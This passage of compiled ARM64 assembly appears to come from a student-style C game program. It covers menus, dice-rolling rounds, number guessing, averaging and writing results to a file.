adrp x0, .LC350
add x0, x0, :lo12:.LC350
bl puts
adrp x0, .LC351
add x0, x0, :lo12:.LC351
bl puts
.L222:
ldr w0, [sp, 64]
cmp w0, 1
bne .L223
adrp x0, .LC352
add x0, x0, :lo12:.LC352
bl puts
adrp x0, .LC353
add x0, x0, :lo12:.LC353
bl puts
adrp x0, .LC354
add x0, x0, :lo12:.LC354
bl puts
adrp x0, .LC355
add x0, x0, :lo12:.LC355
bl puts
adrp x0, .LC356
add x0, x0, :lo12:.LC356
bl puts
adrp x0, .LC357
add x0, x0, :lo12:.LC357
bl puts
adrp x0, .LC358
add x0, x0, :lo12:.LC358
bl puts
add x0, sp, 68
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 68]
cmp w0, 1
beq .L224
cmp w0, 2
beq .L225
b .L223
.L224:
adrp x0, .LC359
add x0, x0, :lo12:.LC359
bl puts
adrp x0, .LC360
add x0, x0, :lo12:.LC360
bl puts
adrp x0, .LC361
add x0, x0, :lo12:.LC361
bl puts
adrp x0, .LC362
add x0, x0, :lo12:.LC362
bl puts
adrp x0, .LC363
add x0, x0, :lo12:.LC363
bl puts
adrp x0, .LC364
add x0, x0, :lo12:.LC364
bl puts
adrp x0, .LC365
add x0, x0, :lo12:.LC365
bl puts
adrp x0, .LC366
add x0, x0, :lo12:.LC366
bl puts
bl rand
mov w2, w0
mov w0, 43691
movk w0, 0x2aaa, lsl 16
smull x0, w2, w0
lsr x1, x0, 32
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 1
sub w1, w2, w0
add w0, w1, 1
str w0, [sp, 204]
bl rand
mov w2, w0
mov w0, 43691
movk w0, 0x2aaa, lsl 16
smull x0, w2, w0
lsr x1, x0, 32
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 1
sub w1, w2, w0
add w0, w1, 1
str w0, [sp, 208]
bl rand
mov w2, w0
mov w0, 43691
movk w0, 0x2aaa, lsl 16
smull x0, w2, w0
lsr x1, x0, 32
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 1
sub w1, w2, w0
add w0, w1, 1
str w0, [sp, 212]
ldr w1, [sp, 204]
ldr w0, [sp, 208]
add w0, w1, w0
ldr w1, [sp, 212]
add w0, w1, w0
str w0, [sp, 216]
adrp x0, .LC367
add x0, x0, :lo12:.LC367
bl puts
add x0, sp, 72
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 72]
ldr w1, [sp, 216]
cmp w1, w0
bne .L226
adrp x0, .LC368
add x0, x0, :lo12:.LC368
bl puts
adrp x0, .LC369
add x0, x0, :lo12:.LC369
bl puts
adrp x0, .LC370
add x0, x0, :lo12:.LC370
bl puts
adrp x0, .LC371
add x0, x0, :lo12:.LC371
bl puts
b .L223
.L226:
ldr w0, [sp, 72]
ldr w1, [sp, 216]
cmp w1, w0
beq .L377
adrp x0, .LC372
add x0, x0, :lo12:.LC372
bl puts
ldr w1, [sp, 216]
adrp x0, .LC373
add x0, x0, :lo12:.LC373
bl printf
adrp x0, .LC374
add x0, x0, :lo12:.LC374
bl puts
b .L223
.L225:
adrp x0, .LC375
add x0, x0, :lo12:.LC375
bl puts
adrp x0, .LC376
add x0, x0, :lo12:.LC376
bl puts
adrp x0, .LC377
add x0, x0, :lo12:.LC377
bl puts
adrp x0, .LC378
add x0, x0, :lo12:.LC378
bl puts
adrp x0, .LC379
add x0, x0, :lo12:.LC379
bl puts
b .L223
.L377:
nop
.L223:
ldr w0, [sp, 64]
cmp w0, 2
bne .L228
adrp x0, .LC380
add x0, x0, :lo12:.LC380
bl puts
adrp x0, .LC381
add x0, x0, :lo12:.LC381
bl puts
adrp x0, .LC382
add x0, x0, :lo12:.LC382
bl puts
adrp x0, .LC383
add x0, x0, :lo12:.LC383
bl puts
add x0, sp, 76
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
b .L229
.L230:
adrp x0, .LC384
add x0, x0, :lo12:.LC384
bl puts
adrp x0, .LC385
add x0, x0, :lo12:.LC385
bl printf
.L229:
ldr w0, [sp, 76]
cmp w0, 20
bgt .L230
ldr w0, [sp, 76]
cmp w0, 0
ble .L230
str wzr, [sp, 116]
b .L231
.L232:
ldr w0, [sp, 116]
add w0, w0, 1
mov w1, w0
adrp x0, .LC386
add x0, x0, :lo12:.LC386
bl printf
add x1, sp, 960
ldrsw x0, [sp, 116]
lsl x0, x0, 2
add x0, x1, x0
mov x1, x0
adrp x0, .LC97
add x0, x0, :lo12:.LC97
bl __isoc99_scanf
ldrsw x0, [sp, 116]
lsl x0, x0, 2
add x1, sp, 960
ldr s0, [x1, x0]
ldr s1, [sp, 120]
fadd s0, s1, s0
str s0, [sp, 120]
ldr w0, [sp, 116]
add w0, w0, 1
str w0, [sp, 116]
.L231:
ldr w0, [sp, 76]
ldr w1, [sp, 116]
cmp w1, w0
blt .L232
ldr s0, [sp, 76]
scvtf s0, s0
ldr s1, [sp, 120]
fdiv s0, s1, s0
str s0, [sp, 232]
ldr s0, [sp, 232]
fcvt d0, s0
adrp x0, .LC387
add x0, x0, :lo12:.LC387
bl printf
.L228:
ldr w0, [sp, 64]
cmp w0, 3
bne .L233
adrp x0, .LC388
add x0, x0, :lo12:.LC388
bl puts
.L233:
ldr w0, [sp, 64]
cmp w0, 4
bne .L234
adrp x0, .LC389
add x0, x0, :lo12:.LC389
bl puts
adrp x0, .LC390
add x0, x0, :lo12:.LC390
bl printf
add x0, sp, 3520
mov x1, x0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl __isoc99_scanf
adrp x0, .LC391
add x0, x0, :lo12:.LC391
bl puts
str wzr, [sp, 124]
b .L235
.L236:
ldrsw x0, [sp, 124]
add x1, sp, 3520
ldrb w0, [x1, x0]
bl toupper
and w2, w0, 255
ldrsw x0, [sp, 124]
add x1, sp, 3520
strb w2, [x1, x0]
ldr w0, [sp, 124]
add w0, w0, 1
str w0, [sp, 124]
.L235:
ldr w0, [sp, 124]
cmp w0, 99
ble .L236
add x0, sp, 3520
mov x1, x0
adrp x0, .LC65
add x0, x0, :lo12:.LC65
bl printf
adrp x0, .LC392
add x0, x0, :lo12:.LC392
bl puts
adrp x0, .LC393
add x0, x0, :lo12:.LC393
bl puts
.L234:
mov w0, 0
b .L346
.L372:
nop
ldr w0, [sp, 60]
cmp w0, 99
bne .L237
b .L2
.L241:
adrp x0, .LC226
add x0, x0, :lo12:.LC226
bl puts
adrp x0, .LC394
add x0, x0, :lo12:.LC394
bl puts
adrp x0, .LC395
add x0, x0, :lo12:.LC395
bl puts
adrp x0, .LC396
add x0, x0, :lo12:.LC396
bl puts
adrp x0, .LC397
add x0, x0, :lo12:.LC397
bl puts
adrp x0, .LC398
add x0, x0, :lo12:.LC398
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC272
add x0, x0, :lo12:.LC272
bl __isoc99_scanf
ldr w0, [sp, 60]
cmp w0, 1
bne .L239
adrp x0, .LC399
add x0, x0, :lo12:.LC399
bl puts
adrp x0, .LC400
add x0, x0, :lo12:.LC400
bl puts
b .L240
.L239:
ldr w0, [sp, 60]
cmp w0, 2
bne .L240
adrp x0, .LC401
add x0, x0, :lo12:.LC401
bl puts
adrp x0, .LC402
add x0, x0, :lo12:.LC402
bl puts
.L240:
adrp x0, .LC403
add x0, x0, :lo12:.LC403
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC272
add x0, x0, :lo12:.LC272
bl __isoc99_scanf
.L238:
ldr w0, [sp, 60]
cmp w0, 99
bne .L241
b .L2
.L284:
mov w0, 30
str w0, [sp, 184]
mov w0, 3
str w0, [sp, 188]
mov w0, 30
str w0, [sp, 192]
mov w0, 10
str w0, [sp, 196]
adrp x0, .LC404
add x1, x0, :lo12:.LC404
adrp x0, .LC405
add x0, x0, :lo12:.LC405
bl fopen
str x0, [sp, 320]
bl printIntroduction
mov w0, 2
str w0, [sp, 72]
adrp x0, .LC406
add x0, x0, :lo12:.LC406
bl printf
add x0, sp, 72
mov x1, x0
adrp x0, .LC272
add x0, x0, :lo12:.LC272
bl __isoc99_scanf
ldr w0, [sp, 72]
cmp w0, 1
bne .L243
ldr w1, [sp, 192]
ldr w0, [sp, 188]
bl printRules
nop
.L243:
mov x0, 0
bl time
bl srand
add x0, sp, 480
movi v0.4s, 0
stp q0, q0, [x0]
stp q0, q0, [x0, 32]
stp q0, q0, [x0, 64]
stp q0, q0, [x0, 96]
stp q0, q0, [x0, 128]
stp q0, q0, [x0, 160]
stp q0, q0, [x0, 192]
str q0, [x0, 224]
add x0, sp, 720
movi v0.4s, 0
stp q0, q0, [x0]
stp q0, q0, [x0, 32]
stp q0, q0, [x0, 64]
stp q0, q0, [x0, 96]
stp q0, q0, [x0, 128]
stp q0, q0, [x0, 160]
stp q0, q0, [x0, 192]
str q0, [x0, 224]
add x0, sp, 960
movi v0.4s, 0
stp q0, q0, [x0]
stp q0, q0, [x0, 32]
stp q0, q0, [x0, 64]
stp q0, q0, [x0, 96]
stp q0, q0, [x0, 128]
stp q0, q0, [x0, 160]
stp q0, q0, [x0, 192]
str q0, [x0, 224]
add x0, sp, 480
str x0, [sp, 288]
add x0, sp, 720
str x0, [sp, 296]
add x0, sp, 960
str x0, [sp, 304]
mov w0, 1
str w0, [sp, 128]
mov w0, 1
str w0, [sp, 132]
mov w0, 1
str w0, [sp, 136]
str wzr, [sp, 140]
b .L244
.L262:
ldr w0, [sp, 140]
add w0, w0, 1
str w0, [sp, 140]
ldr w1, [sp, 140]
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
lsl w0, w0, 1
str w0, [sp, 200]
adrp x0, .LC407
add x0, x0, :lo12:.LC407
bl puts
ldr w3, [sp, 200]
mov w2, 1
ldr w1, [sp, 140]
adrp x0, .LC408
add x0, x0, :lo12:.LC408
bl printf
ldr w0, [sp, 128]
cmp w0, 0
beq .L245
adrp x0, .LC409
add x0, x0, :lo12:.LC409
bl puts
adrp x0, .LC410
add x0, x0, :lo12:.LC410
bl printf
add x0, sp, 76
mov x1, x0
adrp x0, .LC272
add x0, x0, :lo12:.LC272
bl __isoc99_scanf
ldr w0, [sp, 76]
cmp w0, 1
bne .L246
str wzr, [sp, 144]
b .L247
.L248:
bl rand
ldr w1, [sp, 200]
sdiv w2, w0, w1
ldr w1, [sp, 200]
mul w1, w2, w1
sub w0, w0, w1
add w2, w0, 1
ldrsw x0, [sp, 144]
lsl x0, x0, 2
add x1, sp, 440
str w2, [x1, x0]
ldr w0, [sp, 144]
add w0, w0, 1
str w0, [sp, 144]
.L247:
ldr w1, [sp, 144]
ldr w0, [sp, 188]
cmp w1, w0
blt .L248
add x0, sp, 440
ldr w1, [sp, 188]
bl averageM
ldr x0, [sp, 288]
str d0, [x0]
add x0, sp, 440
mov w2, 1
ldr w1, [sp, 188]
bl printRollResults
ldr x0, [sp, 288]
ldr d0, [x0]
adrp x0, .LC411
add x0, x0, :lo12:.LC411
bl printf
ldr x0, [sp, 288]
add x0, x0, 8
str x0, [sp, 288]
add x0, sp, 480
ldr w1, [sp, 184]
bl sumM
str d0, [sp, 456]
ldr d0, [sp, 456]
adrp x0, .LC412
add x0, x0, :lo12:.LC412
bl printf
ldr d1, [sp, 456]
ldr w0, [sp, 192]
scvtf d0, w0
fcmpe d1, d0
bgt .L354
b .L245
.L354:
str wzr, [sp, 128]
ldr d0, [sp, 456]
ldr w1, [sp, 192]
adrp x0, .LC413
add x0, x0, :lo12:.LC413
bl printf
b .L245
.L246:
ldr w0, [sp, 76]
cmp w0, 2
bne .L245
str wzr, [sp, 128]
.L245:
ldr w0, [sp, 132]
cmp w0, 0
beq .L250
adrp x0, .LC414
add x0, x0, :lo12:.LC414
bl puts
mov w0, 1
str w0, [sp, 148]
ldr w0, [sp, 192]
scvtf d8, w0
add x0, sp, 720
ldr w1, [sp, 184]
bl sumM
fsub d1, d8, d0
ldr w0, [sp, 196]
scvtf d0, w0
fcmpe d1, d0
bmi .L355
b .L251
.L355:
str wzr, [sp, 148]
str wzr, [sp, 132]
adrp x0, .LC415
add x0, x0, :lo12:.LC415
bl puts
.L251:
ldr w0, [sp, 148]
cmp w0, 1
bne .L250
str wzr, [sp, 144]
b .L253
.L254:
bl rand
ldr w1, [sp, 200]
sdiv w2, w0, w1
ldr w1, [sp, 200]
mul w1, w2, w1
sub w0, w0, w1
add w2, w0, 1
ldrsw x0, [sp, 144]
lsl x0, x0, 2
add x1, sp, 440
str w2, [x1, x0]
ldr w0, [sp, 144]
add w0, w0, 1
str w0, [sp, 144]
.L253:
ldr w1, [sp, 144]
ldr w0, [sp, 188]
cmp w1, w0
blt .L254
add x0, sp, 440
ldr w1, [sp, 188]
bl averageM
ldr x0, [sp, 296]
str d0, [x0]
add x0, sp, 440
mov w2, 0
ldr w1, [sp, 188]
bl printRollResults
ldr x0, [sp, 296]
ldr d0, [x0]
adrp x0, .LC416
add x0, x0, :lo12:.LC416
bl printf
ldr x0, [sp, 296]
add x0, x0, 8
str x0, [sp, 296]
add x0, sp, 720
ldr w1, [sp, 184]
bl sumM
str d0, [sp, 464]
ldr d0, [sp, 464]
adrp x0, .LC417
add x0, x0, :lo12:.LC417
bl printf
ldr d1, [sp, 464]
ldr w0, [sp, 192]
scvtf d0, w0
fcmpe d1, d0
bgt .L356
b .L250
.L356:
str wzr, [sp, 132]
ldr d0, [sp, 464]
ldr w1, [sp, 192]
adrp x0, .LC418
add x0, x0, :lo12:.LC418
bl printf
.L250:
ldr w0, [sp, 136]
cmp w0, 0
beq .L244
adrp x0, .LC419
add x0, x0, :lo12:.LC419
bl puts
mov w0, 1
str w0, [sp, 148]
ldr w0, [sp, 192]
scvtf d8, w0
add x0, sp, 960
ldr w1, [sp, 184]
bl sumM
fsub d1, d8, d0
ldr w0, [sp, 196]
scvtf d0, w0
fcmpe d1, d0
bmi .L357
b .L257
.L357:
str wzr, [sp, 148]
str wzr, [sp, 136]
adrp x0, .LC420
add x0, x0, :lo12:.LC420
bl puts
.L257:
ldr w0, [sp, 148]
cmp w0, 1
bne .L244
str wzr, [sp, 144]
b .L259
.L260:
bl rand
ldr w1, [sp, 200]
sdiv w2, w0, w1
ldr w1, [sp, 200]
mul w1, w2, w1
sub w0, w0, w1
add w2, w0, 1
ldrsw x0, [sp, 144]
lsl x0, x0, 2
add x1, sp, 440
str w2, [x1, x0]
ldr w0, [sp, 144]
add w0, w0, 1
str w0, [sp, 144]
.L259:
ldr w1, [sp, 144]
ldr w0, [sp, 188]
cmp w1, w0
blt .L260
add x0, sp, 440
ldr w1, [sp, 188]
bl averageM
ldr x0, [sp, 304]
str d0, [x0]
add x0, sp, 440
mov w2, 0
ldr w1, [sp, 188]
bl printRollResults
ldr x0, [sp, 304]
ldr d0, [x0]
adrp x0, .LC421
add x0, x0, :lo12:.LC421
bl printf
ldr x0, [sp, 304]
add x0, x0, 8
str x0, [sp, 304]
add x0, sp, 960
ldr w1, [sp, 184]
bl sumM
str d0, [sp, 472]
ldr d0, [sp, 472]
adrp x0, .LC422
add x0, x0, :lo12:.LC422
bl printf
ldr d1, [sp, 472]
ldr w0, [sp, 192]
scvtf d0, w0
fcmpe d1, d0
bgt .L358
b .L244
.L358:
str wzr, [sp, 136]
ldr d0, [sp, 472]
ldr w1, [sp, 192]
adrp x0, .LC423
add x0, x0, :lo12:.LC423
bl printf
.L244:
ldr w0, [sp, 128]
cmp w0, 1
beq .L262
ldr w0, [sp, 132]
cmp w0, 1
beq .L262
ldr w0, [sp, 136]
cmp w0, 1
beq .L262
ldr d0, [sp, 456]
adrp x0, .LC424
add x0, x0, :lo12:.LC424
bl printf
ldr d0, [sp, 464]
adrp x0, .LC425
add x0, x0, :lo12:.LC425
bl printf
ldr d0, [sp, 472]
adrp x0, .LC426
add x0, x0, :lo12:.LC426
bl printf
ldr d1, [sp, 456]
ldr w0, [sp, 192]
scvtf d0, w0
fcmpe d1, d0
bgt .L359
b .L263
.L359:
fmov d0, -1.0e+0
str d0, [sp, 456]
.L263:
ldr d1, [sp, 464]
ldr w0, [sp, 192]
scvtf d0, w0
fcmpe d1, d0
bgt .L360
b .L265
.L360:
fmov d0, -1.0e+0
str d0, [sp, 464]
.L265:
ldr d1, [sp, 472]
ldr w0, [sp, 192]
scvtf d0, w0
fcmpe d1, d0
bgt .L361
b .L267
.L361:
fmov d0, -1.0e+0
str d0, [sp, 472]
.L267:
str wzr, [sp, 144]
b .L269
.L272:
ldr w0, [sp, 144]
and w0, w0, 1
cmp w0, 0
bne .L270
ldrsw x0, [sp, 144]
add x1, sp, 3008
ldrb w0, [x1, x0]
bl toupper
and w2, w0, 255
ldrsw x0, [sp, 144]
add x1, sp, 3008
strb w2, [x1, x0]
b .L271
.L270:
ldrsw x0, [sp, 144]
add x1, sp, 3008
ldrb w0, [x1, x0]
bl tolower
and w2, w0, 255
ldrsw x0, [sp, 144]
add x1, sp, 3008
strb w2, [x1, x0]
.L271:
ldr w0, [sp, 144]
add w0, w0, 1
str w0, [sp, 144]
.L269:
ldrsw x19, [sp, 144]
add x0, sp, 3008
bl strlen
cmp x19, x0
bcc .L272
adrp x0, .LC427
add x0, x0, :lo12:.LC427
add x2, sp, 3264
mov x3, x0
ldp x0, x1, [x3]
stp x0, x1, [x2]
add x1, x3, 15
add x0, x2, 15
ldr w1, [x1]
str w1, [x0]
add x0, sp, 3283
movi v0.4s, 0
stp q0, q0, [x0]
stp q0, q0, [x0, 32]
stp q0, q0, [x0, 64]
stp q0, q0, [x0, 96]
stp q0, q0, [x0, 128]
stp q0, q0, [x0, 160]
stp q0, q0, [x0, 192]
str q0, [x0, 221]
mov x0, 24909
movk x0, 0x6e4e, lsl 16
movk x0, 0x59, lsl 32
mov x1, 0
add x2, sp, 3584
stp x0, x1, [x2, -64]
add x0, sp, 3536
movi v0.4s, 0
stp q0, q0, [x0]
stp q0, q0, [x0, 32]
stp q0, q0, [x0, 64]
stp q0, q0, [x0, 96]
stp q0, q0, [x0, 128]
stp q0, q0, [x0, 160]
stp q0, q0, [x0, 192]
str q0, [x0, 224]
add x1, sp, 3008
add x0, sp, 3520
bl strcmp
cmp w0, 0
bne .L273
add x1, sp, 3264
add x0, sp, 3008
bl strcpy
.L273:
ldr d1, [sp, 456]
fmov d0, -1.0e+0
fcmp d1, d0
bne .L274
ldr d1, [sp, 464]
fmov d0, -1.0e+0
fcmp d1, d0
bne .L274
ldr d1, [sp, 472]
fmov d0, -1.0e+0
fcmp d1, d0
bne .L274
adrp x0, .LC428
add x0, x0, :lo12:.LC428
bl puts
add x0, sp, 3008
mov x2, x0
adrp x0, .LC429
add x1, x0, :lo12:.LC429
ldr x0, [sp, 320]
bl fprintf
b .L275
.L274:
ldr d1, [sp, 456]
ldr d0, [sp, 464]
fcmpe d1, d0
bgt .L362
b .L276
.L362:
ldr d1, [sp, 456]
ldr d0, [sp, 472]
fcmpe d1, d0
bgt .L363
b .L276
.L363:
adrp x0, .LC430
add x0, x0, :lo12:.LC430
bl printf
add x0, sp, 3008
mov x2, x0
adrp x0, .LC431
add x1, x0, :lo12:.LC431
ldr x0, [sp, 320]
bl fprintf
b .L275
.L276:
ldr d1, [sp, 464]
ldr d0, [sp, 472]
fcmpe d1, d0
bgt .L364
b .L279
.L364:
ldr d1, [sp, 464]
ldr d0, [sp, 456]
fcmpe d1, d0
bgt .L365
b .L279
.L365:
adrp x0, .LC432
add x0, x0, :lo12:.LC432
bl printf
add x0, sp, 3008
mov x2, x0
adrp x0, .LC433
add x1, x0, :lo12:.LC433
ldr x0, [sp, 320]
bl fprintf
b .L275
.L279:
adrp x0, .LC434
add x0, x0, :lo12:.LC434
bl printf
add x0, sp, 3008
mov x2, x0
adrp x0, .LC435
add x1, x0, :lo12:.LC435
ldr x0, [sp, 320]
bl fprintf
.L275:
ldr x0, [sp, 320]
bl fclose
mov w0, 2
str w0, [sp, 76]
adrp x0, .LC436
add x0, x0, :lo12:.LC436
bl printf
add x0, sp, 76
mov x1, x0
adrp x0, .LC272
add x0, x0, :lo12:.LC272
bl __isoc99_scanf
ldr w0, [sp, 76]
cmp w0, 1
bne .L282
adrp x0, .LC62
add x1, x0, :lo12:.LC62
adrp x0, .LC405
add x0, x0, :lo12:.LC405
bl fopen
str x0, [sp, 328]
ldr x0, [sp, 328]
bl fgetc
strb w0, [sp, 52]
.L283:
ldrb w0, [sp, 52]
bl putchar
ldr x0, [sp, 328]
bl fgetc
strb w0, [sp, 52]
b .L283
.L282:
adrp x0, .LC437
add x0, x0, :lo12:.LC437
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L242:
ldr w0, [sp, 60]
cmp w0, 99
bne .L284
b .L2
.L293:
adrp x0, .LC438
add x0, x0, :lo12:.LC438
bl puts
b .L286
.L292:
adrp x0, .LC439
add x0, x0, :lo12:.LC439
ldrb w0, [x0]
strb w0, [sp, 3520]
add x0, sp, 3584
str xzr, [x0, -63]
add x0, sp, 3584
strh wzr, [x0, -55]
adrp x0, .LC440
add x0, x0, :lo12:.LC440
bl puts
adrp x0, .LC441
add x0, x0, :lo12:.LC441
bl puts
adrp x0, .LC442
add x0, x0, :lo12:.LC442
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 60]
cmp w0, 99
beq .L378
cmp w0, 99
bgt .L288
cmp w0, 1
beq .L289
cmp w0, 2
beq .L379
b .L288
.L289:
add x0, sp, 3520
bl randomString
str x0, [sp, 312]
ldr x1, [sp, 312]
adrp x0, .LC443
add x0, x0, :lo12:.LC443
bl printf
ldr x1, [sp, 312]
adrp x0, .LC444
add x0, x0, :lo12:.LC444
bl printf
b .L286
.L288:
adrp x0, .LC445
add x0, x0, :lo12:.LC445
bl puts
b .L286
.L378:
nop
b .L286
.L379:
nop
.L286:
ldr w0, [sp, 60]
cmp w0, 99
bne .L292
.L285:
ldr w0, [sp, 60]
cmp w0, 99
bne .L293
b .L2
.L295:
adrp x0, .LC226
add x0, x0, :lo12:.LC226
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L294:
ldr w0, [sp, 60]
cmp w0, 99
bne .L295
b .L2
.L297:
adrp x0, .LC226
add x0, x0, :lo12:.LC226
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L296:
ldr w0, [sp, 60]
cmp w0, 99
bne .L297
b .L2
.L299:
adrp x0, .LC226
add x0, x0, :lo12:.LC226
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L298:
ldr w0, [sp, 60]
cmp w0, 99
bne .L299
b .L2
.L301:
adrp x0, .LC226
add x0, x0, :lo12:.LC226
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L300:
ldr w0, [sp, 60]
cmp w0, 99
bne .L301
b .L2
.L328:
add x0, sp, 3072
stp xzr, xzr, [x0, 192]
str wzr, [sp, 3280]
bl room_37_read_instructions_from_file
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
b .L303
.L304:
adrp x0, .LC446
add x0, x0, :lo12:.LC446
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L303:
ldr w0, [sp, 60]
cmp w0, 0
ble .L304
ldr w0, [sp, 60]
cmp w0, 3
bgt .L304
ldr w0, [sp, 60]
cmp w0, 3
beq .L305
cmp w0, 3
bgt .L380
cmp w0, 1
beq .L307
cmp w0, 2
beq .L308
b .L380
.L307:
adrp x0, .LC447
add x0, x0, :lo12:.LC447
bl puts
adrp x0, .LC448
add x0, x0, :lo12:.LC448
bl puts
adrp x0, .LC449
add x0, x0, :lo12:.LC449
bl puts
adrp x0, .LC450
add x0, x0, :lo12:.LC450
bl puts
adrp x0, .LC451
add x0, x0, :lo12:.LC451
bl puts
add x2, sp, 3264
adrp x0, .LC452
add x1, x0, :lo12:.LC452
mov x0, x2
ldr x2, [x1]
str x2, [x0]
ldrb w1, [x1, 8]
strb w1, [x0, 8]
b .L309
.L308:
adrp x0, .LC453
add x0, x0, :lo12:.LC453
bl puts
adrp x0, .LC454
add x0, x0, :lo12:.LC454
bl puts
adrp x0, .LC455
add x0, x0, :lo12:.LC455
bl puts
adrp x0, .LC456
add x0, x0, :lo12:.LC456
bl puts
add x2, sp, 3264
adrp x0, .LC457
add x1, x0, :lo12:.LC457
mov x0, x2
ldr x2, [x1]
str x2, [x0]
ldr x1, [x1, 6]
str x1, [x0, 6]
b .L309
.L305:
adrp x0, .LC458
add x0, x0, :lo12:.LC458
bl puts
adrp x0, .LC459
add x0, x0, :lo12:.LC459
bl puts
adrp x0, .LC460
add x0, x0, :lo12:.LC460
bl puts
add x2, sp, 3264
adrp x0, .LC461
add x1, x0, :lo12:.LC461
mov x0, x2
ldr x2, [x1]
str x2, [x0]
ldrh w1, [x1, 8]
strh w1, [x0, 8]
b .L309
.L380:
nop
.L309:
adrp x0, .LC462
add x0, x0, :lo12:.LC462
bl puts
adrp x0, .LC463
add x0, x0, :lo12:.LC463
bl puts
adrp x0, .LC464
add x0, x0, :lo12:.LC464
bl puts
bl rand
mov w1, w0
mov w0, 34953
movk w0, 0x8888, lsl 16
smull x0, w1, w0
lsr x0, x0, 32
add w0, w1, w0
asr w2, w0, 4
asr w0, w1, 31
sub w2, w2, w0
mov w0, w2
lsl w0, w0, 4
sub w0, w0, w2
lsl w0, w0, 1
sub w2, w1, w0
add w0, w2, 1
str w0, [sp, 172]
ldr w0, [sp, 172]
bl room_37_guess_number
str w0, [sp, 176]
ldr w0, [sp, 176]
cmp w0, 0
bne .L310
adrp x0, .LC465
add x0, x0, :lo12:.LC465
bl puts
b .L311
.L310:
adrp x0, .LC466
add x0, x0, :lo12:.LC466
bl puts
adrp x0, .LC467
add x0, x0, :lo12:.LC467
bl puts
add x0, sp, 3520
mov x1, x0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl __isoc99_scanf
str wzr, [sp, 80]
b .L312
.L313:
ldrsw x0, [sp, 80]
add x1, sp, 3520
ldrb w0, [x1, x0]
bl tolower
and w2, w0, 255
ldrsw x0, [sp, 80]
add x1, sp, 3520
strb w2, [x1, x0]
ldr w0, [sp, 80]
add w0, w0, 1
str w0, [sp, 80]
.L312:
ldrsw x19, [sp, 80]
add x0, sp, 3520
bl strlen
cmp x19, x0
bcc .L313
b .L314
.L317:
adrp x0, .LC468
add x0, x0, :lo12:.LC468
bl puts
add x0, sp, 3520
mov x1, x0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl __isoc99_scanf
str wzr, [sp, 80]
b .L315
.L316:
ldrsw x0, [sp, 80]
add x1, sp, 3520
ldrb w0, [x1, x0]
bl tolower
and w2, w0, 255
ldrsw x0, [sp, 80]
add x1, sp, 3520
strb w2, [x1, x0]
ldr w0, [sp, 80]
add w0, w0, 1
str w0, [sp, 80]
.L315:
ldrsw x19, [sp, 80]
add x0, sp, 3520
bl strlen
cmp x19, x0
bcc .L316
.L314:
add x2, sp, 3520
adrp x0, .LC469
add x1, x0, :lo12:.LC469
mov x0, x2
bl strcmp
cmp w0, 0
bne .L317
add x0, sp, 3264
mov x1, x0
adrp x0, .LC470
add x0, x0, :lo12:.LC470
bl printf
.L311:
adrp x0, .LC471
add x0, x0, :lo12:.LC471
bl puts
bl room_37_average
str w0, [sp, 180]
ldr w0, [sp, 180]
cmp w0, 1
bne .L318
adrp x0, .LC467
add x0, x0, :lo12:.LC467
bl puts
add x0, sp, 3520
mov x1, x0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl __isoc99_scanf
str wzr, [sp, 80]
b .L319
.L320:
ldrsw x0, [sp, 80]
add x1, sp, 3520
ldrb w0, [x1, x0]
bl tolower
and w2, w0, 255
ldrsw x0, [sp, 80]
add x1, sp, 3520
strb w2, [x1, x0]
ldr w0, [sp, 80]
add w0, w0, 1
str w0, [sp, 80]
.L319:
ldrsw x19, [sp, 80]
add x0, sp, 3520
bl strlen
cmp x19, x0
bcc .L320
b .L321
.L324:
adrp x0, .LC468
add x0, x0, :lo12:.LC468
bl puts
add x0, sp, 3520
mov x1, x0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl __isoc99_scanf
str wzr, [sp, 80]
b .L322
.L323:
ldrsw x0, [sp, 80]
add x1, sp, 3520
ldrb w0, [x1, x0]
bl tolower
and w2, w0, 255
ldrsw x0, [sp, 80]
add x1, sp, 3520
strb w2, [x1, x0]
ldr w0, [sp, 80]
add w0, w0, 1
str w0, [sp, 80]
.L322:
ldrsw x19, [sp, 80]
add x0, sp, 3520
bl strlen
cmp x19, x0
bcc .L323
.L321:
add x2, sp, 3520
adrp x0, .LC469
add x1, x0, :lo12:.LC469
mov x0, x2
bl strcmp
cmp w0, 0
bne .L324
add x0, sp, 3264
mov x1, x0
adrp x0, .LC470
add x0, x0, :lo12:.LC470
bl printf
.L318:
ldr w1, [sp, 176]
ldr w0, [sp, 180]
add w0, w1, w0
cmp w0, 2
bne .L325
add x0, sp, 3264
mov x1, x0
adrp x0, .LC472
add x0, x0, :lo12:.LC472
bl printf
add x0, sp, 3264
mov x1, x0
